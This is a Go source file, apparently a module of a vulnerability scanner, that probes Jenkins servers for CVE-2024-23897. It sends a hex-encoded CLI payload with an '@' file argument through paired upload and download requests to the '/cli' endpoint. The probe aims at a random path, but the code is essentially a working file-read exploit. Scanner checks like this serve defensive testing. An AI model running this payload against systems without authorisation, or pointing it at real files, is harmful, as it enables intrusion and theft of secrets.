package gox

import (
	"bytes"
	"context"
	r1 "crypto/rand"
	"encoding/hex"
	"fmt"
	"io"
	"math/rand"
	"net/http"
	"net/url"
	"sync"
	"time"

	"github.com/zan8in/afrog/v3/pkg/protocols/http/retryhttpclient"
	"github.com/zan8in/gologger"
	randutil "github.com/zan8in/pins/rand"
	"github.com/zan8in/retryablehttp"
)

func generateUUID() (string, error) {
	uuid := make([]byte, 16)

	if _, err := io.ReadFull(r1.Reader, uuid); err != nil {
		return "", err
	}

	uuid[6] = (uuid[6] & 0x0f) | 0x40
	uuid[8] = (uuid[8] & 0x3f) | 0x80

	return fmt.Sprintf("%x-%x-%x-%x-%x", uuid[0:4], uuid[4:6], uuid[6:8], uuid[8:10], uuid[10:]), nil
}
func CVE_2024_23897(target string, variableMap map[string]any) error {

	variableMap["request"] = nil
	variableMap["response"] = nil

	parseurl, _ := url.Parse(target)
	fulltarget := parseurl.String() + "/cli?remoting=false"

	uid, _ := generateUUID()
	payload, _ := hex.DecodeString("0000000600000468656c700000002000001e402f746d702f313261736461736461736461736461736461736461736433000000070200055554462d380000000d01000b7a685f434e5f2348616e730000000003")
	payload = bytes.Replace(payload, []byte("/tmp/12asdasdasdasdasdasdasd"), []byte("/"+RandLower(3)+"/"+RandLower(23)), -1)
	headers0 := map[string]string{
		"Content-Type":      "application/octet-stream",
		"Session":           uid,
		"Side":              "upload",
		"Transfer-Encoding": "chunked",
	}

	headers1 := map[string]string{
		"Content-Type": "application/x-www-form-urlencoded",
		"Session":      uid,
		"Side":         "download",
	}

	var wait sync.WaitGroup
	var resp1 string
	wait.Add(1)
	go func() {
		resp1 = simplePost(fulltarget, nil, headers1)
		wait.Done()
	}()

	time.Sleep(1 * time.Second)
	simplePost(fulltarget, payload, headers0)
	wait.Wait()
	setResponse(resp1, variableMap)
	setRequest(fulltarget, variableMap)
	setTarget(target, variableMap)
	setFullTarget(fulltarget, variableMap)
	return nil
}
func init() {
	funcMap["CVE-2024-23897"] = CVE_2024_23897
}
func RandLower(n int) string {
	letters := []rune("abcdefghijklmnopqrstuvwxyz")
	result := make([]rune, n)

	// 设置随机种子
	randomGenerator := rand.New(rand.NewSource(time.Now().UnixNano()))

	for i := 0; i < n; i++ {
		result[i] = letters[randomGenerator.Intn(len(letters))]
	}

	return string(result)
}
func simplePost(url2 string, body []byte, headers map[string]string) string {
	defer func() {
		if r := recover(); r != nil {
			gologger.Error().Msgf("Panic in simplePost: %v", r) // Log 并恢复
		}
	}()

	ctx, cancel := context.WithTimeout(context.Background(), retryhttpclient.GetDefaultTimeout())
	defer cancel()

	req, err := retryablehttp.NewRequestWithContext(ctx, http.MethodPost, url2, body)
	if err != nil {
		return ""
	}

	req.Header.Add("User-Agent", randutil.RandomUA())
	for key, value := range headers {
		req.Header.Set(key, value)
	}
	resp, err := retryhttpclient.RtryNoRedirect.Do(req)
	if err != nil {
		return ""
	}
	defer resp.Body.Close()
	respBody, err := io.ReadAll(resp.Body)
	if err != nil {
		return ""
	}
	return string(respBody)

}
